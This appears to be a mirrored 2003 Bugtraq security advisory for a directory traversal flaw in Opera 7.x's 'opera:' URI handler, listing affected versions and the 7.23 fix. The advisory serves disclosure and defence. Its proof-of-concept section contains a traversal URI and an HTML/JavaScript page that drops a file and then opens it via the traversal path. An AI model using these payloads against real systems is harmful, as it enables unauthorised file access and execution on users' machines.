Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability

BID:9021

Info

Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability

Bugtraq ID: 9021
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 12 2003 12:00AM
Updated: Nov 12 2003 12:00AM
Credit: The disclosure of this issue has been credited to S.G.Masood <[email protected]>.
Vulnerable: Opera Software Opera Web Browser 7.22
Opera Software Opera Web Browser 7.21
Opera Software Opera Web Browser 7.20 Beta 1 build 2981
Opera Software Opera Web Browser 7.20
Opera Software Opera Web Browser 7.11 j
Opera Software Opera Web Browser 7.11 b
Opera Software Opera Web Browser 7.11
Opera Software Opera Web Browser 7.10
Not Vulnerable: Opera Software Opera Web Browser 7.23

Discussion

Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability

It has been reported that Opera is vulnerable to a directory traversal issue that may allow an attacker to access sensitive information. The problem presents itself due to insufficient sanitization of user-supplied data through the 'Opera:' URI handler. The issue may allow an attacker to traverse outside a directory by using '..%5c' or '..%2f' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

Opera Web Browser versions 7.22 and prior are reported to be prone to this issue.

It has been reported that this issue may be exploited with another issue described in BID 9019 to drop files onto a client system in a predictable location and cause these files to be executed.

Exploit / POC

Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability

The following proof-of-concept has been provided:

opera:/help/..%5c..%5c..%5cwinnt/notepad.exe

The following proof-of-concept was also provided (which also exploits BID 9019):

---------------START MAIN.HTM----------------


<html>

<head>

<script language="javascript">

var win=open("skin.htm") // The server should return content-type as // "application/x-opera-skin" for "Skin.htm". "Skin.htm" will be dropped in the
"&lt;opera // dir&gt;/profile/skin/" folder.

setTimeout("redir()",2000) //modify according to your situation.


function redir(){

window.location.href="opera:/help/..%5c/profile/skin/skin.htm" //This uses the // directory traversal flaw mentioned in advisory 2 to get the path of the
dropped file. In this // case, it is skin.htm.

}


</script>

</head>


<body>

<h1>This is the main file</h1>

</body>

</html>



---------------END MAIN.HTM----------------


---------------START SKIN.HTM----------------


<body>

<h1> Opera Skinned!!! </h1><p>This is Skin.htm from "&lt;opera dir&gt;/profile/skin/" in localhost.

</body>


---------------END SKIN.HTM----------------

Solution / Fix

Opera Web Browser Opera: URI Handler Directory Traversal Vulnerability

Solution:
The vendor has released a fix for this issue. User are advised to update to version 7.23 of the software, which may be obtained via the vendor website.

References

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report